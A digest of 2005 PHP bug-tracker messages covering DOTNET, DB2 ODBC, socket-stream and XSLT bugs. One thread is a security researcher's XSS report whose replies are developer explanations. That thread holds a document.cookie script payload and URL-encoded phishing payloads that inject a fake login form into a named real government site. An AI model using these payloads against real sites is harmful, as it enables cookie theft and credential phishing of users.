PHP Bug Type: COM related
Bug description:  Cannot instantiate a DOTNET object

Description:

When trying to instantiate a DOTNET object in Version 5.0.4 I get a
'com_exception'. I have Microsoft.NET 1.1 installed.

The bug appears similar to a previous bug:

BUG #29490 'Failed to instantiate .Net object' using PHP.NET docu example
BUG #30461 Failed to Instantiate .Net Object error (again)

Bug #29490 was fixed in version 5.0.1.

I tried version 5.0.1, 5.0.2, 5.03 and could not instantiate a DOTNET
object. However the error message was different for different versions. 


Version Error message 
--
5.0.4   Failed to instantiate .Net object [CreateInstance] [0x80070057]
The parameter is incorrect
5.0.3   Failed to instantiate .Net object [CreateInstance] [0x80070057]
The parameter is incorrect
5.0.2   Failed to initialize .Net runtime
5.0.1   Failed to initialize .Net runtime


The full results of my tests are shown below.

##

Tests run on previous PHP versions - all with same reproduce code

##

##


PHP VERSION = 5.04

##


C:\PHPphp-5.0.4-Win32\php.exe -v 
PHP 5.0.4 (cli) (built: Mar 31 2005 02:45:48)
Copyright (c) 1997-2004 The PHP Group
Zend Engine v2.0.4-dev, Copyright (c) 1998-2004 Zend Technologies

C:\PHPphp-5.0.4-Win32\php.exe dotnet-example.php 

Fatal error: Uncaught exception 'com_exception' with message 'Failed to
instantiate .Net object [CreateInstance] [0x80070057] The parameter is
incorrect.
' in C:\PHP\dotnet-example.php:2
Stack trace:
#0 C:\PHP\dotnet-example.php(2): dotnet-dotnet('mscorlib',
'System.Collecti...')
#1 {main}
  thrown in C:\PHP\dotnet-example.php on line 2

##

PHP VERSION = 5.03

##

C:\PHPphp-5.0.3-Win32\php.exe -v 
PHP 5.0.3 (cli) (built: Dec 15 2004 08:07:57)
Copyright (c) 1997-2004 The PHP Group
Zend Engine v2.0.3, Copyright (c) 1998-2004 Zend Technologies

C:\PHPphp-5.0.3-Win32\php.exe dotnet-example.php 

Fatal error: Uncaught exception 'com_exception' with message 'Failed to
instantiate .Net object [CreateInstance] [0x80070057] The parameter is
incorrect.
' in C:\PHP\dotnet-example.php:2
Stack trace:
#0 C:\PHP\dotnet-example.php(2): dotnet-dotnet('mscorlib',
'System.Collecti...')
#1 {main}
  thrown in C:\PHP\dotnet-example.php on line 2

##

PHP VERSION = 5.02

##

C:\PHPphp-5.0.2-Win32\php.exe -v 
PHP 5.0.2 (cli) (built: Sep 24 2004 01:25:41)
Copyright (c) 1997-2004 The PHP Group
Zend Engine v2.0.2, Copyright (c) 1998-2004 Zend Technologies

C:\PHPphp-5.0.2-Win32\php.exe dotnet-example.php 

Fatal error: Uncaught exception 'com_exception' with message 'Failed to
initialize .Net runtime' in C:\PHP\dotnet-example.php:2
Stack trace:
#0 {main}
  thrown in C:\PHP\dotnet-example.php on line 2

##

PHP VERSION = 5.01

##

C:\PHPphp-5.0.1-Win32\php.exe -v 
PHP 5.0.1 (cli) (built: Aug 12 2004 23:30:46)
Copyright (c) 1997-2004 The PHP Group
Zend Engine v2.0.1, Copyright (c) 1998-2004 Zend Technologies


C:\PHPphp-5.0.1-Win32\php.exe dotnet-example.php 

Fatal error: Uncaught exception 'com_exception' with message 'Failed to
initialize .Net runtime' in C:\PHP\dotnet-example.php:2
Stack trace:
#0 {main}
  thrown in C:\PHP\dotnet-example.php on line 2

##
##


Reproduce code:
---
?php
$stack = new DOTNET(mscorlib, System.Collections.Stack); 
$stack-Push(.Net); 
$stack-Push(Hello ); 
echo $stack-Pop() . $stack-Pop(); 
? 


Expected result:

Hello .Net

Actual result:
--
Fatal error: Uncaught exception 'com_exception' with message 'Failed to
instantiate .Net object [CreateInstance] [0x80070057] The parameter is
incorrect.
in C:\PHP\dotnet-example.php:2
Stack trace:
#0 C:\PHP\dotnet-example.php(2): dotnet-dotnet('mscorlib',
'System.Collecti...')
#1 {main}
  thrown in C:\PHP\dotnet-example.php on line 2


-- 
Edit bug report at http://bugs.php.net/?id=33188edit=1
-- 
Try a CVS snapshot (php4):   http://bugs.php.net/fix.php?id=33188r=trysnapshot4
Try a CVS snapshot (php5.0): 
http://bugs.php.net/fix.php?id=33188r=trysnapshot50
Try a CVS snapshot (php5.1): 
http://bugs.php.net/fix.php?id=33188r=trysnapshot51

#33173 [Bgs]: Bug in PHP 4.3.11 display_error.

2005-05-30 Thread max at jestsuper dot pl

 ID:   33173
 User updated by:  max at jestsuper dot pl
 Reported By:  max at jestsuper dot pl
 Status:   Bogus
 Bug Type: *General Issues
 Operating System: *
 PHP Version:  *
 New Comment:

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

  ID:   33173
  Updated by:   [EMAIL PROTECTED]
  Reported By:  max at jestsuper dot pl
 -Status:   Open
 +Status:   Bogus
  Bug Type: *General Issues
 -Operating System: FreeBSD
 +Operating System: *
 -PHP Version:  4.3.11
 +PHP Version:  *
  New Comment:

 Thank you for taking the time to write to us, but this is not
 a bug.

This is bug [XSS]. 

 Please double-check the documentation available at 
 http://www.php.net/manual/ and the instructions on how to report
 a bug at http://bugs.php.net/how-to-report.php

Ok. But this bug still exists, if (html_errors false) etc.


 You're not supposed to pass the error information to your users.
Show
 erros is only a convenience thing to aid you while developing. Thus
no
 user will ever see such error messages. So in the end it is not
usable
 for phishing and alike.

Is is.. ;] That can be very dangers. For example phishing. This is
XSS!
So ok. Example newweb.wrh.noaa.gov

http://newweb.wrh.noaa.gov/pdt/prototype/gfeGraphics/gfeGraphics.php?imgSource=%3CP%3E%3Cfont%20color=red%3E%3CP%3E%3Ch1%3EWARNING!%20SYSTEM%20ERROR%3CBR%3EPlease%20login:
%3C/h1%3E%3C/font%3E%3Cfont%20size=-4%3E%3C/center%3E%20%3CFORM%20METHOD=POST%20ACTION=mailto:[EMAIL
 PROTECTED]:
%3CINPUT%20TYPE=text%20NAME=login%20SIZE=9%3E%3CP%3EPASSWORD:
%3CINPUT%20TYPE=password%20NAME=passwd%20SIZE=9%3E%3CP%3E%3Cinput%20type=submit%20name=go%20value=Login%3E%3C/form%3E%3Cfont%20color=white%3E

http://newweb.wrh.noaa.gov/pdt/prototype/gfeGraphics/gfeGraphics.php?imgSource=iframe

src=http://newweb.wrh.noaa.gov

But php errors (Warning) can be in a BANK site... and can you create
form ... 
phishing!

Tell me what is wrong. Thx

SecurityResason.Com
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.1 (FreeBSD)

iD8DBQFCmjvuznmvyJCR4zQRApfYAKCHEknKWRw8zchV6qIwkM0DZt9JNQCfRvcm
IDvuoOSzh75uSA9A1xnFiYc=
=S4rb
-END PGP SIGNATURE-


Previous Comments:


[2005-05-28 19:02:37] [EMAIL PROTECTED]

Thank you for taking the time to write to us, but this is not
a bug. Please double-check the documentation available at
http://www.php.net/manual/ and the instructions on how to report
a bug at http://bugs.php.net/how-to-report.php

You're not supposed to pass the error information to your users. Show
erros is only a convenience thing to aid you while developing. Thus no
user will ever see such error messages. So in the end it is not usable
for phishing and alike.



[2005-05-28 16:57:51] max at jestsuper dot pl

Description:

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

Author: cXIb8O3(Maksymilian Arciemowicz)
Date: 28.5.2005
from securityreason.com TEAM

- --- 0. Bug in PHP 4.3.11 display_error. ---

This bug can be danger, because someone can do xss and Phishing
attack.
Problem exist in display_errors..

Example php script:

?php
include($_GET['varible']);
?

and now request is

?varible=XXX

so can we see any error.

- ---
Warning: main(XXX): failed to open stream: No such file or directory in
/www/dupa.php on line 2

Warning: main(): Failed opening 'XXX' for inclusion (include_path='.:')
in /www/dupa.php on line 2
- ---

Normal. But now varible have for example h1SR/h1
And error messages is:

- ---
Warning: main(
SR
): failed to open stream: No such file or directory in /www/dupa.php on
line 2

Warning: main(): Failed opening 'h1SR/h1' for inclusion
(include_path='.:') in /www/dupa.php on line 2
- ---

So XSS...

Danger can be tag script iframe, because you can see cookies etc.
For example.

?varible=scriptalert(document.cookie);/script

And have you cookies from this domain!

This XSS is critical, because exist in display_error and hacker can do
XSS and Phishing attack.
For example, if this bug exist in a Bank site... hacker can create
FORM or mirror site...

- --- 1.Contact ---
Author: Maksymilian Arciemowicz  cXIb8O3 
Email: max [at] jestsuper [dot] pl or cxib [at] securityreason [dot]
com
GPG-KEY: securityreason.com TEAM
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.1 (FreeBSD)

iD8DBQFCmIWvznmvyJCR4zQRAuqtAKCcyXWQnMdPvCn+6+npQiGEbXvAZwCgq172
+J8w9EzGFE49sXxP1MPbSfI=
=QksY
-END PGP SIGNATURE-


Actual result:
--
XSS





-- 
Edit this bug report at http://bugs.php.net/?id=33173edit=1

#33184 [Com]: odbc_exec(): SQL error: [IBM][CLI Driver][DB2/6000] SQL0954C Not enough storag

2005-05-30 Thread denials at gmail dot com

 ID:   33184
 Comment by:   denials at gmail dot com
 Reported By:  brad_allgood at csgsystems dot com
 Status:   Open
 Bug Type: ODBC related
 Operating System: Windows XP
 PHP Version:  5.0.4
 New Comment:

What is the expected result of the test script?

In reading the script (and ignoring the extra close brace in line 4
that would cause a syntax error), I would expect the loop to start
issuing errors after the first iteration, as odbc_close_all() should
close the connection if no transactions are in progress.

Given the subject of the bug, I'm assuming you're seeing an SQL0954C
instead, which would indicate that odbc_close_all() is not, in fact,
doing its job. However, I have been unable to reproduce this result on
Windows XP, Apache 2.0.52, PHP 5.0.4, DB2 Version 8.2 connecting
locally or to a remote DB2 server on a Linux box. The APPLHEAPSZ
setting on the Windows server is the default of 256 4K pages.


Previous Comments:


[2005-05-30 16:08:11] brad_allgood at csgsystems dot com

I do not think this is a db related issue as I can run the same query
from the command line on the server running the db and it works fine.

I cut and pasted the original bug report as I thought this may have
been overlooked in the php5 development cycle. 

I am running the php script on a windows xp machine using odbc calls
against a remote db2 machine using an explict connection string call.

$connect_string = Driver={IBM DB2 ODBC
Driver};HOSTNAME=host.domain.com;DATABASE=SOMEDB;PROTOCOL=TCPIP;PORT=X;;



[2005-05-30 15:29:25] [EMAIL PROTECTED]

SQL0954CNot enough storage is available in the application heap to
process the statement.

Explanation: All available memory for the application has been used.

The statement cannot be processed.

User Response: Terminate the application on receipt of this message.
Increase the database configuration parameter (applheapsz) to allow a
larger application heap. 



[2005-05-30 15:17:32] brad_allgood at csgsystems dot com

Description:

Appears to be a resurface of bug id #16221 from 4.1.2

After doing between 50-182 query's to IBM DB2 7 on Windows 2000
(localhost) with this script:

?
$connection = odbc_connect( test,db2admin, admin ) 
or die(Unable to connect to SQL server);
}
$result=odbc_exec($connection,set current sqlid = 'DB2ADMIN');

$counter=0;
while ($counter 5000)
{
$query=select * from tms_user;
$result=odbc_exec($connection,$query);
$temp=odbc_fetch_row ($result);
echo counter= $counter br;
odbc_free_result($result);
odbc_close_all();

$counter++;
}
?







-- 
Edit this bug report at http://bugs.php.net/?id=33184edit=1

#33173 [Bgs]: Bug in PHP 4.3.11 display_error.

2005-05-30 Thread johannes

 ID:   33173
 Updated by:   [EMAIL PROTECTED]
 Reported By:  max at jestsuper dot pl
 Status:   Bogus
 Bug Type: *General Issues
 Operating System: *
 PHP Version:  *
 New Comment:

Here we have two errors:  
  
a) letting unchecked data be used as filename  
b) showing plain errors to the user  
  
about a) _every_ input data needs to be checked. Or we  
would need to remove eval since some user might do a  
eval($_GET['code'])  
  
about b) as Marcus wrote you shouldn't show plain error 
messages to your users. This for two reasons: first the 
user doesn't understand what's wrong and might think he's 
to stupid and second for a bit of security, if the some 
bad guy doesn't know where a GET-value is used he has 
limited chance in finding an exploit. 
 
And a further note: changing the filename for the error 
message might also make debugging harder since the name 
shown isn't exactly the one used so it might be harder to 
track the reason 


Previous Comments:


[2005-05-30 18:56:29] max at jestsuper dot pl

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

  ID:   33173
  Updated by:   [EMAIL PROTECTED]
  Reported By:  max at jestsuper dot pl
 -Status:   Open
 +Status:   Bogus
  Bug Type: *General Issues
 -Operating System: FreeBSD
 +Operating System: *
 -PHP Version:  4.3.11
 +PHP Version:  *
  New Comment:

 Thank you for taking the time to write to us, but this is not
 a bug.

This is bug [XSS]. 

 Please double-check the documentation available at 
 http://www.php.net/manual/ and the instructions on how to report
 a bug at http://bugs.php.net/how-to-report.php

Ok. But this bug still exists, if (html_errors false) etc.


 You're not supposed to pass the error information to your users.
Show
 erros is only a convenience thing to aid you while developing. Thus
no
 user will ever see such error messages. So in the end it is not
usable
 for phishing and alike.

Is is.. ;] That can be very dangers. For example phishing. This is
XSS!
So ok. Example newweb.wrh.noaa.gov

http://newweb.wrh.noaa.gov/pdt/prototype/gfeGraphics/gfeGraphics.php?imgSource=%3CP%3E%3Cfont%20color=red%3E%3CP%3E%3Ch1%3EWARNING!%20SYSTEM%20ERROR%3CBR%3EPlease%20login:
%3C/h1%3E%3C/font%3E%3Cfont%20size=-4%3E%3C/center%3E%20%3CFORM%20METHOD=POST%20ACTION=mailto:[EMAIL
 PROTECTED]:
%3CINPUT%20TYPE=text%20NAME=login%20SIZE=9%3E%3CP%3EPASSWORD:
%3CINPUT%20TYPE=password%20NAME=passwd%20SIZE=9%3E%3CP%3E%3Cinput%20type=submit%20name=go%20value=Login%3E%3C/form%3E%3Cfont%20color=white%3E

http://newweb.wrh.noaa.gov/pdt/prototype/gfeGraphics/gfeGraphics.php?imgSource=iframe

src=http://newweb.wrh.noaa.gov

But php errors (Warning) can be in a BANK site... and can you create
form ... 
phishing!

Tell me what is wrong. Thx

SecurityResason.Com
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.1 (FreeBSD)

iD8DBQFCmjvuznmvyJCR4zQRApfYAKCHEknKWRw8zchV6qIwkM0DZt9JNQCfRvcm
IDvuoOSzh75uSA9A1xnFiYc=
=S4rb
-END PGP SIGNATURE-



[2005-05-28 19:02:37] [EMAIL PROTECTED]

Thank you for taking the time to write to us, but this is not
a bug. Please double-check the documentation available at
http://www.php.net/manual/ and the instructions on how to report
a bug at http://bugs.php.net/how-to-report.php

You're not supposed to pass the error information to your users. Show
erros is only a convenience thing to aid you while developing. Thus no
user will ever see such error messages. So in the end it is not usable
for phishing and alike.



[2005-05-28 16:57:51] max at jestsuper dot pl

Description:

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

Author: cXIb8O3(Maksymilian Arciemowicz)
Date: 28.5.2005
from securityreason.com TEAM

- --- 0. Bug in PHP 4.3.11 display_error. ---

This bug can be danger, because someone can do xss and Phishing
attack.
Problem exist in display_errors..

Example php script:

?php
include($_GET['varible']);
?

and now request is

?varible=XXX

so can we see any error.

- ---
Warning: main(XXX): failed to open stream: No such file or directory in
/www/dupa.php on line 2

Warning: main(): Failed opening 'XXX' for inclusion (include_path='.:')
in /www/dupa.php on line 2
- ---

Normal. But now varible have for example h1SR/h1
And error messages is:

- ---
Warning: main(
SR
): failed to open stream: No such file or directory in /www/dupa.php on
line 2

Warning: main(): Failed opening 'h1SR/h1' for inclusion
(include_path='.:') in /www/dupa.php on line 2
- ---

So XSS...

Danger can be tag script iframe, because you can see cookies etc.
For example.

?varible=scriptalert(document.cookie);/script

And have you cookies from this domain!

This XSS is critical, because exist in display_error and hacker can do
XSS and Phishing

#33184 [Opn]: odbc_exec(): SQL error: [IBM][CLI Driver][DB2/6000] SQL0954C Not enough storag

2005-05-30 Thread brad_allgood at csgsystems dot com

 ID:   33184
 User updated by:  brad_allgood at csgsystems dot com
 Reported By:  brad_allgood at csgsystems dot com
 Status:   Open
 Bug Type: ODBC related
 Operating System: Windows XP
 PHP Version:  5.0.4
 New Comment:

Okay ... I'm inlcuding a script written and tested on my machine to
reproduce the error:

//## Script Start 
?php


 $b_date = '05/25/2005';
 $b_time = '09:00:00';
 $m_mach_sn = 075-21752;

 $connect_string = Driver={IBM DB2 ODBC
Driver};HOSTNAME=host.domain.com;DATABASE=TEST;PROTOCOL=TCPIP;PORT=5;;
 
 $conn = odbc_connect($connect_string, 'user', 'password');

 $counter=0;
 while ($counter 5000)
 {
 $vpcfg_qry = select distinct m_mach_sn, m_cluster_n,
m_card_num, m_lss_la, m_array_id, m_loop_id, m_grp_num, m_disk_num
   from db2inst1.vpcfg
   where m_mach_sn = '$m_mach_sn'
   order by m_mach_sn, m_card_num, m_cluster_n,
m_loop_id, m_grp_num
  ;
 // Get Result
 $vpcfg_result = odbc_exec($conn,$vpcfg_qry);
 
 //print
m_mach_sn|m_cluster_n|m_card_num|m_lss_la|m_array_id|m_loop_id|m_grp_num|m_disk_num|m_dbl_widebr\n;
 // Get Data From Result
 $vpcfg_row_count = 0;
 while ($vpcfg_row[] = odbc_fetch_array($vpcfg_result))
 {   
 $m_mach_sn = $vpcfg_row[$vpcfg_row_count][M_MACH_SN];
 $m_cluster_n =
$vpcfg_row[$vpcfg_row_count][M_CLUSTER_N];
 $m_card_num = $vpcfg_row[$vpcfg_row_count][M_CARD_NUM];
 $m_lss_la = $vpcfg_row[$vpcfg_row_count][M_LSS_LA];
 $m_array_id = $vpcfg_row[$vpcfg_row_count][M_ARRAY_ID];
 $m_loop_id = $vpcfg_row[$vpcfg_row_count][M_LOOP_ID];
 $m_grp_num = $vpcfg_row[$vpcfg_row_count][M_GRP_NUM];
 $m_disk_num = $vpcfg_row[$vpcfg_row_count][M_DISK_NUM];
 }
 print Counter = $counter\n;
 $counter = $counter + 1;
 }
 odbc_close($conn)
?
//## Script End   


Previous Comments:


[2005-05-30 19:48:52] denials at gmail dot com

What is the expected result of the test script?

In reading the script (and ignoring the extra close brace in line 4
that would cause a syntax error), I would expect the loop to start
issuing errors after the first iteration, as odbc_close_all() should
close the connection if no transactions are in progress.

Given the subject of the bug, I'm assuming you're seeing an SQL0954C
instead, which would indicate that odbc_close_all() is not, in fact,
doing its job. However, I have been unable to reproduce this result on
Windows XP, Apache 2.0.52, PHP 5.0.4, DB2 Version 8.2 connecting
locally or to a remote DB2 server on a Linux box. The APPLHEAPSZ
setting on the Windows server is the default of 256 4K pages.



[2005-05-30 16:08:11] brad_allgood at csgsystems dot com

I do not think this is a db related issue as I can run the same query
from the command line on the server running the db and it works fine.

I cut and pasted the original bug report as I thought this may have
been overlooked in the php5 development cycle. 

I am running the php script on a windows xp machine using odbc calls
against a remote db2 machine using an explict connection string call.

$connect_string = Driver={IBM DB2 ODBC
Driver};HOSTNAME=host.domain.com;DATABASE=SOMEDB;PROTOCOL=TCPIP;PORT=X;;



[2005-05-30 15:29:25] [EMAIL PROTECTED]

SQL0954CNot enough storage is available in the application heap to
process the statement.

Explanation: All available memory for the application has been used.

The statement cannot be processed.

User Response: Terminate the application on receipt of this message.
Increase the database configuration parameter (applheapsz) to allow a
larger application heap. 



[2005-05-30 15:17:32] brad_allgood at csgsystems dot com

Description:

Appears to be a resurface of bug id #16221 from 4.1.2

After doing between 50-182 query's to IBM DB2 7 on Windows 2000
(localhost) with this script:

?
$connection = odbc_connect( test,db2admin, admin ) 
or die(Unable to connect to SQL server);
}
$result=odbc_exec($connection,set current sqlid = 'DB2ADMIN');

$counter=0;
while ($counter 5000)
{
$query=select * from tms_user;
$result=odbc_exec($connection,$query);
$temp=odbc_fetch_row ($result);
echo counter= $counter br;
odbc_free_result($result);
odbc_close_all();

$counter++;
}
?







-- 
Edit this bug report at

#32979 [Com]: socket stream opened with stream_socket_client doesnt work with stream_select

2005-05-30 Thread fox dot 69 at gmx dot net

 ID:   32979
 Comment by:   fox dot 69 at gmx dot net
 Reported By:  mjpph at stardust dot fi
 Status:   Open
 Bug Type: Network related
 Operating System: Linux (Fedora Core 3)
 PHP Version:  5CVS-2005-05-08 (dev)
 Assigned To:  wez
 New Comment:

i experience a similar problem since the latest standard kernel update
with yum (host.domain.com point to the main server IP) :

?
$url=http://host.domain.com;;
$fp = fopen ($url,r);
$buffer=fread($fp,8192);
fclose($fp);
echo $buffer;
?

booted with kernel-2.6.11-1.14_FC3 package: OK
booted with kernel-2.6.11-1.27_FC3 package: NOT OK (timeout)

NOTE: but only if host.domain.com point to the executing host itself
- same with localhost - for all others it seem to be fine


Previous Comments:


[2005-05-30 16:58:42] mjpph at stardust dot fi

Also trying to compile valgrind on x86_64 results in:
checking for a supported CPU... no (x86_64)
configure: error: Unsupported host architecture. Sorry



[2005-05-30 16:56:03] mjpph at stardust dot fi

I could, but I get this:
valgrind: Can only handle 32-bit executables

On a 32bit executable and with openssl stream_select() worked ok. On a
64bit PHP executable it doesn't.



[2005-05-30 16:33:24] [EMAIL PROTECTED]

Can you now check it with valgrind, please?




[2005-05-30 15:53:58] mjpph at stardust dot fi

Ok the latest snapshot compiled cleanly on x86_64. The stream_select()
bug is still present in the latest snapshot.



[2005-05-30 15:37:52] [EMAIL PROTECTED]

Please try using this CVS snapshot:

  http://snaps.php.net/php5-latest.tar.gz
 
For Windows:
 
  http://snaps.php.net/win32/php5-win32-latest.zip

(the compile error should be fixed, plus it should be more 64bit
friendly :)




The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/32979

-- 
Edit this bug report at http://bugs.php.net/?id=32979edit=1

#32979 [Opn]: socket stream opened with stream_socket_client doesnt work with stream_select

 ID:   32979
 User updated by:  mjpph at stardust dot fi
 Reported By:  mjpph at stardust dot fi
 Status:   Open
 Bug Type: Network related
 Operating System: Linux (Fedora Core 3)
 PHP Version:  5CVS-2005-05-08 (dev)
 Assigned To:  wez
 New Comment:

I haven't had problems with different kernels. Only the combination of
x86_64, stream_socket_client() or stream_socket_server(),
stream_select() and PHP OpenSSL-support seem to reproduce this every
time.


Previous Comments:


[2005-05-30 21:57:34] fox dot 69 at gmx dot net

i experience a similar problem since the latest standard kernel update
with yum (host.domain.com point to the main server IP) :

?
$url=http://host.domain.com;;
$fp = fopen ($url,r);
$buffer=fread($fp,8192);
fclose($fp);
echo $buffer;
?

booted with kernel-2.6.11-1.14_FC3 package: OK
booted with kernel-2.6.11-1.27_FC3 package: NOT OK (timeout)

NOTE: but only if host.domain.com point to the executing host itself
- same with localhost - for all others it seem to be fine



[2005-05-30 16:58:42] mjpph at stardust dot fi

Also trying to compile valgrind on x86_64 results in:
checking for a supported CPU... no (x86_64)
configure: error: Unsupported host architecture. Sorry



[2005-05-30 16:56:03] mjpph at stardust dot fi

I could, but I get this:
valgrind: Can only handle 32-bit executables

On a 32bit executable and with openssl stream_select() worked ok. On a
64bit PHP executable it doesn't.



[2005-05-30 16:33:24] [EMAIL PROTECTED]

Can you now check it with valgrind, please?




[2005-05-30 15:53:58] mjpph at stardust dot fi

Ok the latest snapshot compiled cleanly on x86_64. The stream_select()
bug is still present in the latest snapshot.



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/32979

-- 
Edit this bug report at http://bugs.php.net/?id=32979edit=1

#33188 [Opn-Fbk]: Cannot instantiate a DOTNET object

 ID:   33188
 Updated by:   [EMAIL PROTECTED]
 Reported By:  sean at iplus dot plus dot com
-Status:   Open
+Status:   Feedback
 Bug Type: COM related
 Operating System: Windows 2000
 PHP Version:  5.0.4
 New Comment:

Please try using this CVS snapshot:

  http://snaps.php.net/php5-latest.tar.gz
 
For Windows:
 
  http://snaps.php.net/win32/php5-win32-latest.zip




Previous Comments:


[2005-05-30 18:57:03] sean at iplus dot plus dot com

Description:

When trying to instantiate a DOTNET object in Version 5.0.4 I get a
'com_exception'. I have Microsoft.NET 1.1 installed.

The bug appears similar to a previous bug:

BUG #29490 'Failed to instantiate .Net object' using PHP.NET docu
example
BUG #30461 Failed to Instantiate .Net Object error (again)

Bug #29490 was fixed in version 5.0.1.

I tried version 5.0.1, 5.0.2, 5.03 and could not instantiate a DOTNET
object. However the error message was different for different versions.



Version Error message 
--
5.0.4   Failed to instantiate .Net object [CreateInstance] [0x80070057]
The parameter is incorrect
5.0.3   Failed to instantiate .Net object [CreateInstance] [0x80070057]
The parameter is incorrect
5.0.2   Failed to initialize .Net runtime
5.0.1   Failed to initialize .Net runtime


The full results of my tests are shown below.

##

Tests run on previous PHP versions - all with same reproduce code

##

##


PHP VERSION = 5.04

##


C:\PHPphp-5.0.4-Win32\php.exe -v 
PHP 5.0.4 (cli) (built: Mar 31 2005 02:45:48)
Copyright (c) 1997-2004 The PHP Group
Zend Engine v2.0.4-dev, Copyright (c) 1998-2004 Zend Technologies

C:\PHPphp-5.0.4-Win32\php.exe dotnet-example.php 

Fatal error: Uncaught exception 'com_exception' with message 'Failed to
instantiate .Net object [CreateInstance] [0x80070057] The parameter is
incorrect.
' in C:\PHP\dotnet-example.php:2
Stack trace:
#0 C:\PHP\dotnet-example.php(2): dotnet-dotnet('mscorlib',
'System.Collecti...')
#1 {main}
  thrown in C:\PHP\dotnet-example.php on line 2

##

PHP VERSION = 5.03

##

C:\PHPphp-5.0.3-Win32\php.exe -v 
PHP 5.0.3 (cli) (built: Dec 15 2004 08:07:57)
Copyright (c) 1997-2004 The PHP Group
Zend Engine v2.0.3, Copyright (c) 1998-2004 Zend Technologies

C:\PHPphp-5.0.3-Win32\php.exe dotnet-example.php 

Fatal error: Uncaught exception 'com_exception' with message 'Failed to
instantiate .Net object [CreateInstance] [0x80070057] The parameter is
incorrect.
' in C:\PHP\dotnet-example.php:2
Stack trace:
#0 C:\PHP\dotnet-example.php(2): dotnet-dotnet('mscorlib',
'System.Collecti...')
#1 {main}
  thrown in C:\PHP\dotnet-example.php on line 2

##

PHP VERSION = 5.02

##

C:\PHPphp-5.0.2-Win32\php.exe -v 
PHP 5.0.2 (cli) (built: Sep 24 2004 01:25:41)
Copyright (c) 1997-2004 The PHP Group
Zend Engine v2.0.2, Copyright (c) 1998-2004 Zend Technologies

C:\PHPphp-5.0.2-Win32\php.exe dotnet-example.php 

Fatal error: Uncaught exception 'com_exception' with message 'Failed to
initialize .Net runtime' in C:\PHP\dotnet-example.php:2
Stack trace:
#0 {main}
  thrown in C:\PHP\dotnet-example.php on line 2

##

PHP VERSION = 5.01

##

C:\PHPphp-5.0.1-Win32\php.exe -v 
PHP 5.0.1 (cli) (built: Aug 12 2004 23:30:46)
Copyright (c) 1997-2004 The PHP Group
Zend Engine v2.0.1, Copyright (c) 1998-2004 Zend Technologies


C:\PHPphp-5.0.1-Win32\php.exe dotnet-example.php 

Fatal error: Uncaught exception 'com_exception' with message 'Failed to
initialize .Net runtime' in C:\PHP\dotnet-example.php:2
Stack trace:
#0 {main}
  thrown in C:\PHP\dotnet-example.php on line 2

##
##


Reproduce code:
---
?php
$stack = new DOTNET(mscorlib, System.Collections.Stack); 
$stack-Push(.Net); 
$stack-Push(Hello ); 
echo $stack-Pop() . $stack-Pop(); 
? 


Expected result:

Hello .Net

Actual result:
--
Fatal error: Uncaught exception 'com_exception' with message 'Failed to
instantiate .Net object [CreateInstance] [0x80070057] The parameter is
incorrect.
in C:\PHP\dotnet-example.php:2
Stack trace:
#0 C:\PHP\dotnet-example.php(2): dotnet-dotnet('mscorlib',

#32979 [Opn-Asn]: socket stream opened with stream_socket_client doesnt work with stream_select

 ID:   32979
 Updated by:   [EMAIL PROTECTED]
 Reported By:  mjpph at stardust dot fi
-Status:   Open
+Status:   Assigned
 Bug Type: Network related
 Operating System: Linux (Fedora Core 3)
 PHP Version:  5CVS-2005-05-08 (dev)
 Assigned To:  wez


Previous Comments:


[2005-05-30 22:11:28] mjpph at stardust dot fi

I haven't had problems with different kernels. Only the combination of
x86_64, stream_socket_client() or stream_socket_server(),
stream_select() and PHP OpenSSL-support seem to reproduce this every
time.



[2005-05-30 21:57:34] fox dot 69 at gmx dot net

i experience a similar problem since the latest standard kernel update
with yum (host.domain.com point to the main server IP) :

?
$url=http://host.domain.com;;
$fp = fopen ($url,r);
$buffer=fread($fp,8192);
fclose($fp);
echo $buffer;
?

booted with kernel-2.6.11-1.14_FC3 package: OK
booted with kernel-2.6.11-1.27_FC3 package: NOT OK (timeout)

NOTE: but only if host.domain.com point to the executing host itself
- same with localhost - for all others it seem to be fine



[2005-05-30 16:58:42] mjpph at stardust dot fi

Also trying to compile valgrind on x86_64 results in:
checking for a supported CPU... no (x86_64)
configure: error: Unsupported host architecture. Sorry



[2005-05-30 16:56:03] mjpph at stardust dot fi

I could, but I get this:
valgrind: Can only handle 32-bit executables

On a 32bit executable and with openssl stream_select() worked ok. On a
64bit PHP executable it doesn't.



[2005-05-30 16:33:24] [EMAIL PROTECTED]

Can you now check it with valgrind, please?




The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/32979

-- 
Edit this bug report at http://bugs.php.net/?id=32979edit=1

#33190 [Opn-Bgs]: Union of external documents causes timeout

 ID:   33190
 Updated by:   [EMAIL PROTECTED]
 Reported By:  php dot bugs at jamie-thompson dot co dot uk
-Status:   Open
+Status:   Bogus
 Bug Type: XSLT related
 Operating System: Debian Sarge
 PHP Version:  4.3.10
 New Comment:

And you're sure it's not bug in Sablotron?
I'm having a bit hard time believing this is anything genuine since
your configure line won't produce a PHP with xslt support..and the lack
of the example PHP script makes it also pretty hard to reproduce. Report
to the sablotron people, they maintain the extension too.. (which, btw.
will not exist in PHP 5)



Previous Comments:


[2005-05-30 20:25:28] php dot bugs at jamie-thompson dot co dot uk

Description:

I'm using external xml files to populate a select control. As XSLT 1.0
doesn't allow arbitray node-sets, I load these from external documents
using the document() function. One file contains the actual data, the
other contains a wildcard entry. I want to union these nodesets and use
the result to populate the control.

This works fine with Firefox's Transformiix engine, but Sablotron seems
to dislike the union operator immensely when used on external data, E.g.
merging a local nodeset with an external one causes a lockup, as does
merging two identical exterbal nodesets (though only from different
sources).

Info:
-
I am using Debian Sarge, with fully updated packages as of 30/05/05,
currently that's PHP 4.3.10-15 and Apache 2.0.54-4.

Here's the configure line from phpinfo():
'../configure' '--prefix=/usr' '--with-apxs2=/usr/bin/apxs2'
'--with-config-file-path=/etc/php4/apache2' '--enable-memory-limit'
'--disable-debug' '--with-regex=php' '--disable-rpath'
